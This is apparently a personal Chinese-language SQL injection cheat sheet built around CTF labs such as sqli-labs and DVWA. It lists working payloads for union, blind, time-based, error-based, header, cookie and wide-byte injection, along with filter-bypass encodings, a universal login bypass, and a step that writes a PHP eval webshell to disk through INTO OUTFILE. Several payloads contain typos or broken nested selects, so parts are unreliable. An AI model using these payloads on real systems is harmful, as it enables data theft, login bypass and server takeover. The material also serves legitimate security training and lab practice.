SQL 注入

自己做的注入总结,包含了常见的问题,会随着比赛的扩充而扩充

一些问题

sqli-labs 和 dvwa

在用火狐时发现一个问题,在浏览器的URL栏输入 # 时,会把 # 后面的都注释掉,比如,127.0.0.1/index.php?id=1#qwerasdf,通过抓包发现请求的是127.0.0.1/index.php?id=1

由此得到结论,# 对于浏览器就是注释的意思。这也就解释了sqli-labs中在有些关卡在URL中输入 # 无效但是 %23 有效的状况

同样的在 Less-25 中,过滤了 and 和 or ,如果直接使用 && ,是会报错的,应用 %26%26

在 dvwa 的注入中,在提交 id 时会对提交内容进行一次 URLencode,所以在那个框框里面输入 1’ %23 是无法起到注释作用的,通过抓包发现其请求的是 ?id=1’%2523,其中 %25 是 % 的URL编码。在sqli-labs的 POST 注入中也会出现上述情况。

一些闭合方式

‘$id’,”$id”,(‘$id’),(“$id”),{“$id”},{‘$id’}

GET型注入

判断类型

字符型

1
2
3
4
5
?id=1' 
//报错信息 '1'' LIMIT 0,1
//有三个 ' ,猜 MySQL 语句 select * from table where id='$id'
near ''1'' LIMIT 0,1' at line 1
?id=1'%23 //返回正常

数字型

1
2
3
4
5
?id=1' 
//报错信息 ' LIMIT 0,1
//有一个 ' ,猜 MySQL 语句 select * from table where id=$id
near '' LIMIT 0,1' at line 1
?id=1+1 //返回正常

判断查询字段数

1
2
3
?id=1' union slect 1,2,3 %23  
?id=1' order by 3 %23
//返回正确,说明MySQL为select column1,column2,column3 from table where id='$id'

数据库

1
2
3
4
//当前数据库 
?id=1' uinon select databse(),2,3 %23
//所有数据库
?id=1' union select 1,select schema_name from INFORMATION_SCHEMA.schemata,3 %23

数据表

1
?id=1' union select 1,select table_name from information_schema.tables where table_schema='xxx',3 %23

数据列

1
?id=1' union select 1,select column_name from information_schema.columns where table_name='xxx',3 %23

数据内容

1
?id=1' union select 1,select xxx from xxx,3 %23

布尔盲注

一般布尔盲注中只会出现返回成功和返回失败的界面,不会有union联合查询的。

盲注分为布尔型,时间型和报错型。

首先判断注入类型,和以前相同,要注意二分法的应用。

数据库名称长度

1
2
//用二分法判断范围 
?id=1' and length(database())=8 %23 //返回正确,说明数据库名称长度为8

数据库名称内容

left判断

1
?id=1' and left(database(),1)='s' %23 ?id=1' and left(database(),2)='se' %23 ?id=1' and left(database(),8)='security' %23

substr判断

1
?id=1' and ascii(substr(database(),1,1))=83 %23 ?id=1' and ascii(substr(database(),2,1))=69 %23 ?id=1' and substr(database(),1,8)='security' %23

regexp判断

1
?id=1' and 1=(database() regexp '^[a-z]') %23 ?id=1' and 1=(database() regexp '^s[a-z]') %23 ?id=1' and 1=(database()='security') %23

mid判断

1
?id=1' and ord(mid(database(),1,1))=83 %23 ?id=1' and ord(mid(database(),2,1))=69 %23 ?id=1' and mid(database(),1,8)='security' %23

数据表

先用length()判断长度

1
?id=1' and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=5 %23

然后判断内容

1
2
3
4
5
6
7
8
//left判断前两位 
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' %23 ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' %23
//substr判断第三位
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)='a' %23
//regexp判断第四位
?id=1' and 1=(select 1 from information_schema.tables where table_schema=database() and table_name regexp '^emai[a-z]' limit 0,1) %23
//mid判断第五位
?id=1' and mid((seanlect table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)='l' %23

如果想判断第二个表,把 limit 0,1 改为 limit 1,1 即可

但是regexp中不可以,只要是table_name中的内容,regexp都可以匹配到

img

数据列

1
select table_name from information_schema.tables where table_schema=database() limit 0,1

改为

1
select column_name from information_schema.columns where table_name='xxxx' limit 0,1

再进行判断

数据内容

1
2
3
4
//ifnull和cast函数,第一位为D 
?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 %23
//普通方式,第二位为u
?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=85 %23

报错注入

使用报错注入的前提是,当前页面能够 print_r(mysql_error()) 或者是 echo(mysql_error())

后面 from 的表必须是存在的,比如 information_schema.tables 或者 information_schema.columns

Floor报错

这两种语句都可以,只是第一个知道字段数是3

1
2
3
4
//替换 select user() 
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a %23
//替换 select schema_name frominformation_schema.schemata limit 0,1
?id=1' and (select 1 from (select count(*),concat(((select schema_name frominformation_schema.schemata limit 0,1)),';',floor (rand(0)*2))x frominformation_schema.tables group by x)a) %23

简化版Floor报错注入

1
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

1
select count(*) from (select 1 union select null union select !1)a group by concat(version(),floor(rand(0)*2))

img

如果 rand 被禁用了可以使用用户变量来报错(实测未成功)

1
select min(@a:=1) from information_schema.tables group by concat(password,@a:(@a+1)%2)

Xpath报错

这个很常用

1
2
3
4
//extractvalue 
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) %23
//updatexml
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) %23

延时注入

sleep()

1
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))  %23

benchmark()

1
?id=1' union select (if(ascii(substr(current,1,1))=113,benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1 %23

导入导出

首先判断当前用户是否具有写入权限

1
?id=1')) and (select count(*) from mysql.user)>0 %23  //返回正确,说明有最高权限

将 select 内容导入文件,这里的 path 必须要是绝对路径

1
2
3
select version() into outfile "path" 
//version()也可以换成一句话
select <?php @eval($_post["a"])?> into outfile "path"

这里是可以直接 getshell 的

POST注入

和 GET 注入类似,只是传输的数据不在 URL 中显示,有时需要抓包。常见于登陆的页面

最常见的一个,万能密码

1
select username,password from users where username='$username' and password='$password' limit 0,1

提交 username=admin’ # password=1(任意密码) 即可登陆

有时候闭合方式会发生变换,有时候会对输入进行检测( check ),没有对哪里检测就从哪里注入(报错注入,布尔盲注,时间盲注,联合查询)

增删改

常见于注册(insert)和修改内容(update)的页面,有时需要抓包

比如修改密码

1
update users set password='$password' where username='$username'

在 password 或者 username 处注入,最常见的用报错注入。有时候闭合方式会发生变换,有时候会对输入进行检测( check ),没有对哪里检测就从哪里报错注入

这里也会造成二次注入,蓝鲸的一个题目

HEADER头注入

抓包修改 header 头部,比如 user-agent,referer,cookie

sqli-labs Less-18

1
2
//Less-19的 referer 同理,也可以用 floor,updatexml 
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

img

我觉得Less-18是要输入正确的 uname 和 pass 的,否则是无法显示 user-agent

img

Less-20修改cookie

1
uname=admin1' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) #

img

宽字节注入

这里是针对 ‘ 和 \ 被过滤的情况,一般采用 addslashes() 和 mysql_real_escape_string() 函数

两者都是对 ‘ 和 \ 进行了 replace 处理,’ 转化为 ' ,\ 转化为 \,但是对数字型注入无效

绕过方法:

1
2
3
4
5
//GET型 
?id=-1%df%27 union select 1 %23
//POST型,以万能密码为例,' 转为 utf-16 或者 utf-32
//此处 �' 的 urlencode 为 %ef%bf%bd%27
name=�' or 1=1 # &pass=111

堆叠注入

在 SQL 中,用分号( ; )来表示语句的结尾,如果再 ; 结束一个 SQL 语句之后继续构造下一条语句,是会在一起执行的。对比于 union 的查询语句,堆叠注入可以执行任意语句

例如 : 强网杯-随便注

insert() 盲注

insert(str,pos,len,newstr) : 对字符串 str,从 pos 位置开始,长为 len 个字符的字符串用 newstr 替换

第一个,对于字符串 123456,从第 1 个位置开始,截取长度为 2 的字符串,即 12xx 替换

第二个,对于字符串 123456,从第 2 个位置开始,截取长度为 2 的字符串,即 23xx 替换

当 len 超过 str 的长度时

盲注细节如下 : ciscn 华南线下 web4

各种绕过

过滤 # 和 –+

1、union 联合查询,控制查询结果显示位置

1
?id=-1' union select 1,user(),'3

2、利用 or ‘1’=’1 闭合

1
?id=1 or extractvalue(1,concat(0x7e,(select user()),0x7e)) or '1'='1

3、编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//url encode 
# = %23

//hex
# = %23
--+ = %2D%2D%2B

//unicode
# = \u0023
--+ = \u002d\u002d\u002b

//html encode
--+ = &#45;&#45;&#43;
# = &#35

过滤 and 和 or

1、编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//大小写 
Or OR oR AND

//hex
and = %61%6E%64
or = %6F%72

//unicode
and = \u0061\u006e\u0064
or = \u006f\u0072

//html encode
and = &#97;&#110;&#100;
or = &#111;&#114;

2、替换

1
2
3
and = && 
or = ||
//在 URL 栏中 && 要换 %26%26

过滤空格

1、特殊字符

1
2
3
%a0	新建一行 
%0b TAB垂直
/**/ 注释

2、编码

1
2
3
4
5
//unicode 
\u0020

//html encode
&#32;

过滤 union 和 select 等

1、编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//大小写 
UniON SelEcT

//hex
union = %75%6E%69%6F%6E
select = %73%65%6C%65%63%74

//unicode
union = \u0075\u006e\u0069\u006f\u006e
select = \u0073\u0065\u006c\u0065\u0063\u0074

//html encode
union = &#32;&#117;&#110;&#105;&#111;&#110;
select = &#115;&#101;&#108;&#101;&#99;&#116;

2、重复(只过滤一次时)

1
2
ununionion
selselectect

3、注释

1
2
/*!union*/ 
/*!select*/

过滤 ‘ 和 \

1、宽字节注入

2、编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//url encode 
' = %27
\ = %5c

//hex
' = %27
\ = %5c

//unicode
' = \u0027
\ = \u005c

//html encode
' = &#39;
\ = &#92;